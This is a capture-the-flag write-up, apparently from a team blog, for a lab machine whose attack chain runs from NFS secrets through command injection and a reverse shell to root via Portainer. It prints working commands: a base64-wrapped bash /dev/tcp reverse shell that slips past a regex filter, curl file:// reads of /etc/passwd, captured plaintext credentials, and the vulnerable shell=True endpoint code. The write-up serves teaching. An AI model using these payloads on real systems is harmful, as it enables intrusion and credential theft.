· Manuel López Pérez · writeups  · 6 min read

CyberH2O: Challenge 2 – Pentesting Hybrid Infrastructures

Write-up of the second machine from the CyberH2O cyberchallenge, a hybrid environment with Docker containers and privilege escalation via Portainer.

Write-up of the second machine from the CyberH2O cyberchallenge, a hybrid environment with Docker containers and privilege escalation via Portainer.

🏆 The Ironhackers team won the CyberH2O Cyberchallenge! 🏆

CyberH2O

In this second part of the CyberH2O cyberchallenge, we faced a virtual machine configured as a hybrid environment between containers and the host itself. A chain of realistic configuration errors: poor NFS configuration, deficient secret management, command injection, and Docker privileges.

We managed to solve all 5 challenges chained together, from initial reconnaissance to obtaining full root access.


Executive Summary

The intrusion process unfolded in several chained phases:

  1. First flag in a modified UDP service on port 123
  2. Access to an exposed NFS resource, where we recovered sensitive variables
  3. Authentication in the web panel thanks to credentials from the .env file
  4. Identification of a critical vulnerability in the /command endpoint, which executed commands insecurely using shell=True, allowing command injection via $() substitution
  5. Container access, SSH credential discovery, host access, and finally escalation to root via Portainer

Reconnaissance

TCP Port Scanning

The first step is to identify which services are listening on the machine. We use Nmap with a full port scan:

nmap -p- -T4 192.168.56.101

Where:

  • -p- → scans all TCP ports (1 to 65535)
  • -T4 → fast but stable mode for lab environments

TCP Scan

We identified three open TCP ports:

  • 22/tcp → SSH
  • 111/tcp → rpcbind (RPC services, typical of NFS)
  • 8080/tcp → alternative HTTP service (API or web panel)

We launch a second, more focused scan for versions and banners:

nmap -sC -sV -p 22,111,8080 192.168.56.101

TCP Scan

UDP Port Scanning

Besides TCP traffic, some interesting services run over UDP. We launch:

nmap -T4 -sU -p- 192.168.56.101

UDP Scan

We discovered port 123/udp (NTP - Network Time Protocol).


Challenge 1: Modified NTP Service

Port 123 (UDP) Enumeration

Although port 123 normally corresponds to the NTP service, in CTF environments it’s common for creators to hide clues in uncommon services.

nmap -sU -sC -sV -p123 192.168.56.101

This scan directly returns the flag. We confirm by connecting with netcat:

NTP Scan

The NTP service had been modified to return a flag when queried:

HACK{WUS1Kp1ZeFZuVDCzuNup}


Challenge 2: Secrets in NFS

RPC/NFS Service Enumeration (port 111)

Seeing port 111/tcp open, we think of NFS. We enumerate:

rpcinfo -p 192.168.56.101

NFS mounted

The showmount command shows that a directory is being exported with no restrictions.

showmount -e 192.168.56.101

NFS mounted

We mount it:

mount -t nfs 192.168.56.101:/opt /mnt/cyberh2o

NFS mounted

Inside we find a critical file: .env, typical of web applications like Laravel or FastAPI. This file contains environment variables, usually secret.

.env contents

We find the line:

MY_AWESOME_SECRET=LS0+IEhBQ0t7SmFXekZUalBYbmFLYzBwTXJ9IDwtLQo=

We decode the Base64:

Base64 Decoding

Flag: HACK{JaWzFTjPXnaKc0pMr}


Challenge 3: Web Panel Authentication

Port 8080 Enumeration

We open the service in the browser. It looks like an API. We use FFUF to discover routes:

ffuf -w SecLists/Discovery/Web-Content/common.txt -u http://192.168.56.101:8080/FUZZ

FFUF

We find documentation at /docs. We try the endpoints, but all return 401 Unauthorized.

Using credentials from the .env file

In the .env file we found:

PANEL_URL=http://localhost:8080
PANEL_COOKIE_ID=user_id
PANEL_COOKIE_VALUE=be0fddbe-9fef-4af8-b66d-099a909a6dd9

We try the cookie for authentication:

curl -i -X GET \
  -H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
  http://192.168.56.101:8080/

Authentication

Authentication

The result is 200 OK and we access the panel. We navigate to the dashboard:

Panel Dashboard

The challenge title gives us a hint: “The programmer left a secret in the web code.”

We inspect the source code and find a hidden Base64 string not visible on screen:

Hidden flag in source code

We decode the Base64: Hidden flag in source code

Flag: HACK{yZQr0xODO_JPsjLesj4B4Q}


Challenge 4: Command Injection and Reverse Shell

Panel Console

In the interface we find an icon that opens an integrated console using the /command endpoint.

We try different commands, but all return errors. This makes us suspect there’s validation on allowed commands.

Console

Fuzzing allowed commands

We use Burp Intruder to identify which commands the endpoint accepts:

Fuzzing with Burp

We discover that only commands with curl work (Status Code 200).

Fuzzing with Burp

Local File Inclusion

We test if we can use curl with file:/// syntax to read local files:

curl -i -X POST \
  -H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
  -H "Content-Type: application/json" \
  -d '{"command": "curl file:///etc/passwd"}' \
  http://192.168.56.101:8080/command

It works. Reading /etc/passwd we find the user is called appuser.

Curl LFI passwd

File Fuzzing with FFUF

We create a dictionary to find interesting files:

ffuf -w /tmp/fuzz.txt \
  -X POST \
  -H "Cookie: user_id=be0fddbe-9fef-4af8-b66d-099a909a6dd9" \
  -H "Content-Type: application/json" \
  -d "{\"command\":\"curl FUZZ\"}" \
  -u http://192.168.56.101:8080/command \
  -fs 1-150

FFUF

We find we can download the source code with:

curl file:///app/main.py

FFUF

Vulnerable Code Analysis

The code reveals the vulnerability in the /command endpoint:

REGEX_SAFE_CURL = re.compile(
    r"^\s*curl\s+"
    r"[^;&<>'\"\\n\\]*$",
    re.IGNORECASE
)

@app.post("/command")
async def handle_command(data: CommandData, ...):
    user_input = data.command.strip()
    if not REGEX_SAFE_CURL.match(user_input):
        raise HTTPException(status_code=400, detail="Command not allowed.")
    
    result = subprocess.run(
        user_input,
        shell=True,  # VULNERABILITY!
        capture_output=True,
        text=True,
        timeout=10,
        check=True
    )

The application:

  • Only requires the command to start with curl
  • Has a REGEX as a blocklist limiting characters
  • But the $ character is allowed

Exploitation: Reverse Shell

We can execute commands like curl localhost/$(whoami). But we want a reverse shell.

On our machine we set up a listener:

nc -lvp 1337

The normal reverse shell would be blocked by the regex:

bash -i >& /dev/tcp/192.168.56.1/1337 0>&1

Blocked reverse shell

We encode it in Base64:

echo "bash -i >& /dev/tcp/192.168.56.1/1337 0>&1" | base64
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTMzNyAwPiYxCg==

We send the final payload:

curl localhost/$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvMTMzNyAwPiYxCg== | base64 -d | bash)

Reverse shell obtained

The reverse shell pops! We can now execute commands without restrictions.

Container Enumeration

We find a SQLite3 database:

sqlite3 panel.db

SQLite Database

We find credentials:

watermelon:Disagree5-Suspense9-Voter5-Frantic6-Cinnamon7

And the flag: HACK{zX2fQWvP3E6TgYJ9LmN8RQ}


Challenge 5: Privilege Escalation via Docker

SSH Access to Host

We use the found credentials to access the host system:

ssh watermelon@192.168.56.101

SSH Access

The connection works. Now we have access to the real system, outside the container.

System Enumeration

We run LinPEAS to discover escalation vectors. It highlights:

  • A service listening on localhost:9443
  • A file /var/mail/watermelon with interesting content

The mail contains a hint: Portainer has been moved to port 9443.

User mail

Port Forwarding

Since the service is on localhost, we do port forwarding:

ssh -L 9443:localhost:9443 watermelon@192.168.56.101

We access from our browser to https://localhost:9443. But Portainer requires credentials.

Portainer

Process Monitoring

We run pspy to see processes in real time. After a few seconds we observe:

curl -X POST http://localhost:8000/auth -H "Content-Type: application/json" \
  -d '{"user": "administrator", "password": "Elastic4-Stylized3-Sniff0-Crablike9-Idiom1"}'

PSPY capturing credentials

We try the credentials in Portainer and access as administrators.

Escalation via Docker

When a user has Docker administration permissions, they can easily escalate to root.

Portainer allows us to:

  • Create a container
  • Attach volumes
  • Start a shell in that container

The classic escalation procedure:

  1. Create a new container (alpine or ubuntu)
  2. Add a volume mounting the entire host filesystem in /rooted
  3. Start the container
  4. Open a console inside from Portainer
  5. Access the root folder and read the flag

Escalation via Portainer

Final Flag: HACK{vZMVMoPahVU0owErgoChbQ}


Conclusions

This challenge presented a very realistic chain of security flaws:

VulnerabilityImpact
Modified NTP serviceInformation leakage
Poorly configured NFSSecret exposure
Predictable cookies in .envAuthentication bypass
Command injection (shell=True)Remote code execution
Credentials in databaseLateral movement
Poorly configured DockerRoot escalation

The combination of reconnaissance techniques, fuzzing, code analysis, and container exploitation made this challenge a very complete and educational experience.

Back to Blog

Related Posts

View All Posts »